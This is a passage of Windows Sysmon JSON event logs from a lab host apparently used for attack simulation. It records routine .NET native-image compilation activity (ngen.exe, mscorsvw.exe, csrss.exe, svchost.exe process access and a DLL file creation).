AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:34.338\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4352-5F2D-0000-0010D5581100}\r\nTargetProcessId: 4240\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:34.338","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4352-5F2D-0000-0010D5581100}","TargetProcessId":"4240","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 12:04:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8326,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:34.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4352-5F2D-0000-0010D5581100}\r\nTargetProcessId: 4240\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:34.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4352-5F2D-0000-0010D5581100}","TargetProcessId":"4240","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8327,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:34.354\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4352-5F2D-0000-0010D5581100}\r\nTargetProcessId: 4240\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:34.354","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4352-5F2D-0000-0010D5581100}","TargetProcessId":"4240","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8328,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:34.869\r\nProcessGuid: {90617006-4352-5F2D-0000-0010D5581100}\r\nProcessId: 4240\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\1090-0\\System.DirectoryServices.dll\r\nCreationUtcTime: 2020-08-07 12:04:34.869","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:34.869","ProcessGuid":"{90617006-4352-5F2D-0000-0010D5581100}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\1090-0\\System.DirectoryServices.dll","CreationUtcTime":"2020-08-07 12:04:34.869","EventReceivedTime":"2020-08-07 12:04:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8329,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:34.932\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-433E-5F2D-0000-001079091100}\r\nTargetProcessId: 3396\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:34.932","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-433E-5F2D-0000-001079091100}","TargetProcessId":"3396","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:04:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8330,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:34.932\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-433E-5F2D-0000-001079091100}\r\nTargetProcessId: 3396\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:34.932","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-433E-5F2D-0000-001079091100}","TargetProcessId":"3396","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8331,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:34.948\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4352-5F2D-0000-0010005D1100}\r\nTargetProcessId: 3396\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:34.948","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4352-5F2D-0000-0010005D1100}","TargetProcessId":"3396","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8332,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:35.010\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4343-5F2D-0000-00108C0E1100}\r\nTargetProcessId: 5036\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:35.010","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4343-5F2D-0000-00108C0E1100}","TargetProcessId":"5036","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 12:04:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8333,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:35.010\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: 